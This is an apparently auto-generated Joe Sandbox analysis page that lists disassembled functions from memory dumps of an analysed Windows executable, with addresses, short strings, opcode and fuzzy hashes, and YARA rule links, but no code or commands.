Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: B:@<$F>?0
API String ID: 0-4011826714
Opcode ID: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction ID: 92ed06d7aa227fc4673e4b6d33fedd1ff2714f2f2b1d0eb8acbab6dee258af69
Opcode Fuzzy Hash: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction Fuzzy Hash: E43256B1A00721CBCB24CF24C892267BBB1FF92310F59825DD8825F796E779A851CBD5

Function 00422270 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

TU, xrefs: 00422296
c!", xrefs: 0042242F

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: TU$c!"
API String ID: 0-3813282519
Opcode ID: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction ID: a4d5b8c078bf2433dc24120fb7555f1f32600d90c3be649242fb2c546733d6d2
Opcode Fuzzy Hash: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction Fuzzy Hash: 27C16672B04310ABD714DB29ED5277BB3E2EFD5314F48852EE88587381E6BCE801875A

Function 0041D074 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

|~, xrefs: 0041D10A
pr, xrefs: 0041D112

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction ID: 1c71e515e24bd4364ede3925d09e369eeeaf8989eca5e2d791649c7508655d54
Opcode Fuzzy Hash: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction Fuzzy Hash: E451F0B0A0C3509BD7008F24D8127ABB7F1EF92319F1885AEE4C55B391E7399642CB5E

Function 0041D087 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

|~, xrefs: 0041D10A
pr, xrefs: 0041D112

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction ID: b30244ed6a2ff3de417c81c30de102dda9fa652a451c4e072b4a3ececf8c80cf
Opcode Fuzzy Hash: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction Fuzzy Hash: B751F4B460C3509BD7009F24C8126ABB7F1EF92315F1885ADE4C55B391E739D642CB5E

Function 0042536C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

BLJB, xrefs: 00425554
X, xrefs: 0042556A

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: BLJB$X
API String ID: 0-2222927247
Opcode ID: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction ID: 1af2eb929763e148cb4abff1c4585c52a2657f08fe5d59f4d12d45bf37d2de30
Opcode Fuzzy Hash: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction Fuzzy Hash: 13515531708B618BD730DE6894412FBBBE1DF55350F984A3ED8D987382E23CA545E74A

Function 00427653 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

H.s , xrefs: 004276E0
ij, xrefs: 004276D3

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: H.s $ij
API String ID: 0-4017226643
Opcode ID: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction ID: ae217f9daa6f4cce8b7d259f4259de876ba9e86de0ba8af5ed87a71d833a3b47
Opcode Fuzzy Hash: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction Fuzzy Hash: 0F31DEB260D3908FD314CF65D48165FBBE2EBC6704F55892DE4C56B340CBB49906CB46

Function 00415EE0 Relevance: 1.9, Strings: 1, Instructions: 625COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID: 1/3T
API String ID: 2994545307-3266294232
Opcode ID: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction ID: ff65059a960126ae2aa6a0ba82ae0d71c7a8e5e6bd522a8814a62b27b48fd42c
Opcode Fuzzy Hash: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction Fuzzy Hash: 37F1E134204741CFE7258F29D891BB3BBA2FB5A301F1945ADD5D68B392C739E881CB58

Function 00414F08 Relevance: 1.9, Strings: 1, Instructions: 609COMMON

Download Yara Rule

Strings

cba`, xrefs: 00415565

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction ID: b0755fcd4efdf1967727a5f4be91126eb1e252dcdfc562f5600afc0ab194aa5f
Opcode Fuzzy Hash: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction Fuzzy Hash: 9402FE34608300EFD7149F24D962BABB7B1FB9A304F94582DF481972A2D775EC45CB8A

Function 0042A630 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0042A918

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction ID: f813c1fc85afd7223dda0e36a8c027de47e21e6ca96e88e37e758e8b14c45e64
Opcode Fuzzy Hash: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction Fuzzy Hash: 03C113B2B043215BD7149E25E44076BB7E5AF84310F59892FEC9687382E738DC59C78B

Function 00417190 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

RuA, xrefs: 00417542

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: RuA
API String ID: 0-3286949753
Opcode ID: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction ID: 812d55878a62f6fab66defe66c88ae53172d99736bf38563795d352ae53827f1
Opcode Fuzzy Hash: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction Fuzzy Hash: 8CB10234208701CFE7258F29D851B73B7F2EB4A711F1489ADD4968B392D738A882CB58

Function 00421EE0 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

x%, xrefs: 0042207D

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: x%
API String ID: 0-3980080454
Opcode ID: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction ID: 53925fe815e81de9676dfe4c3668865c11de61aed011eb2c10e86570e61a59d5
Opcode Fuzzy Hash: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction Fuzzy Hash: 7BA145B1604320ABCB10DF24DC91B6777E4FF94358F08492DEA858B391E7B9E905C766

Function 0042AAD0 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042ACCE

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 1b0d155936ea343f35509df964668f6b6c6c9246b28269455b7de3af52c0cfb1
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: D271E632B183254BD714CE28E58031BBBE3ABC5710F99856EE9949B391D238EC55C78B

Function 0042B4BB Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

CUUI, xrefs: 0042B588

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: CUUI
API String ID: 0-173970609
Opcode ID: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction ID: 633f9cfe08b78efd1148aada0c0c4a0bea52aba14bf5254293374e99ea80dff2
Opcode Fuzzy Hash: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction Fuzzy Hash: 9541E7A020C7E08ADB358F2594903ABBBE1DFD3304F5884ADC6C56B243C77988068B5A

Function 00425230 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

cba`, xrefs: 004252B6

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`
API String ID: 2994545307-1926275841
Opcode ID: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction ID: beb69707a00ddb1e0f288a180930159145dfafadf277c1aff9f3426dfcb85bde
Opcode Fuzzy Hash: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction Fuzzy Hash: 47113536A44B204BC324CE289DC163777E1AB95314F95263DDCA9D33A1E278EC009AD9

Function 00407470 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction ID: af49202ca076376fa415bca2a3091a328854806cafe53c7e33487b358e5641c5
Opcode Fuzzy Hash: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction Fuzzy Hash: 9722B332A087118BD725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B851CB47

Function 0043CAC0 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction ID: a0fb517757f1b8da7777bae7579d9f52a382c29ac2183c4fd28747a7d9f1db1e
Opcode Fuzzy Hash: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction Fuzzy Hash: F402127AB04216CFC704CF28E8906AAB7F2FB8A311F1A847ED58593351D734AD55CB86

Function 0043CBD6 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction ID: 0188f3e029ce03e8205a7a452b25b6dbd5bcd661a0513372e50984eaaf58ab41
Opcode Fuzzy Hash: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction Fuzzy Hash: 98E12F79B04216CFC704CF68E8906AAB7F2FB8A312F1A847EE585D3351D334A955CB85

Function 00405910 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a711ff882c939ae6e737b67d92cb6b5a0c6fd0422e8b7931457894ff5976d2ac
Instruction ID: 292f23283d7cd07bb6fd19c8603031892cd16be448e450c68c3e166b8ce1a4f1
Opcode Fuzzy Hash: a711ff882c939ae6e737b67d92cb6b5a0c6fd0422e8b7931457894ff5976d2ac
Instruction Fuzzy Hash: DAF1CF356087418FD724CF29C88066BFBE2EFD9304F08882EE5D597791E679E904CB5A

Function 004266E7 Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab8b9b4babc4c53dd273e945744bbaef1afa28ee0cdd2d4e334d85f9a15f2521
Instruction ID: 06a34f82c29db43340e48ad1cbe7e395302b1ddd3c50ea808075b5b9ec83bf05
Opcode Fuzzy Hash: ab8b9b4babc4c53dd273e945744bbaef1afa28ee0cdd2d4e334d85f9a15f2521
Instruction Fuzzy Hash: C5E169B5A083618FC7109F14E45136BB7E1AFDA304F0A486EE8C597342D639ED45CB9B

Function 0043CCE0 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 536c392115e0cff150cd0d6d8dc87b4614f7e511d1c43d6d4655b511f952909a
Instruction ID: b7c2eaf3338182462aad9b41d84ad1057b9f4e6ab3b7739cdaab2d2094e4d2b6
Opcode Fuzzy Hash: 536c392115e0cff150cd0d6d8dc87b4614f7e511d1c43d6d4655b511f952909a
Instruction Fuzzy Hash: 36C1007AA04216CFC704CF28E8906AAB7F2FB8A311F1A447DE98593351D734ED54CB85

Function 004286F0 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0698e5323aca3189bcf61449c470d5166dbf916172f2457ca70a618e1c4aeee2
Instruction ID: 56b07d3b8ecf2697cfceb0b79347f06369642de1c8fee68a0e9743baf01ab03d
Opcode Fuzzy Hash: 0698e5323aca3189bcf61449c470d5166dbf916172f2457ca70a618e1c4aeee2
Instruction Fuzzy Hash: 46C12EB060D3218AC314DF14D86272BB7F2EF92364F44891DF0D19B395EB789905CB9A

Function 0043CD60 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ae3e85a33d43a6e2771b0fd908fe387ca734c2f104cbcf9b416a7aefdf7c9a
Instruction ID: 20c8691d40d2db25294344e9a87d3a2a4619c2758e90d916e0ff6e9b3fbd9dce
Opcode Fuzzy Hash: b7ae3e85a33d43a6e2771b0fd908fe387ca734c2f104cbcf9b416a7aefdf7c9a
Instruction Fuzzy Hash: 95B1FE7AA14216CFC704CF68E8906AAB7F1FB8A311F1A447EE98693350D734ED54CB85

Function 0043CE00 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc05906a2cd7047f79f16b5ec2f82067cc14c0beb5821a18253c96a7a105a64b
Instruction ID: 02c91c5c175dbfc798e5ae80a92b3f6d79b9f3e28c5cee1d4de64ad44bd3bbdb
Opcode Fuzzy Hash: fc05906a2cd7047f79f16b5ec2f82067cc14c0beb5821a18253c96a7a105a64b
Instruction Fuzzy Hash: 28B1FE79A08216CFC704CF28E8906AAB7F1FB8A311F1A487DE985D3350D734E955CB95

Function 00416E97 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71e2b72de9db90adf160ba091cc0f4e0f3ea60225d0eeabf88c335e2ed5b0d7e
Instruction ID: 5a7d6a52498181c9cf4f87941996139a214d8b31775e9e11dc627d5a44ad725e
Opcode Fuzzy Hash: 71e2b72de9db90adf160ba091cc0f4e0f3ea60225d0eeabf88c335e2ed5b0d7e
Instruction Fuzzy Hash: 73A143B46047418FD724CF29C8D1B63B7E2AB5A304F14892ED59A87792D338E886CB58

Function 0043DFB0 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
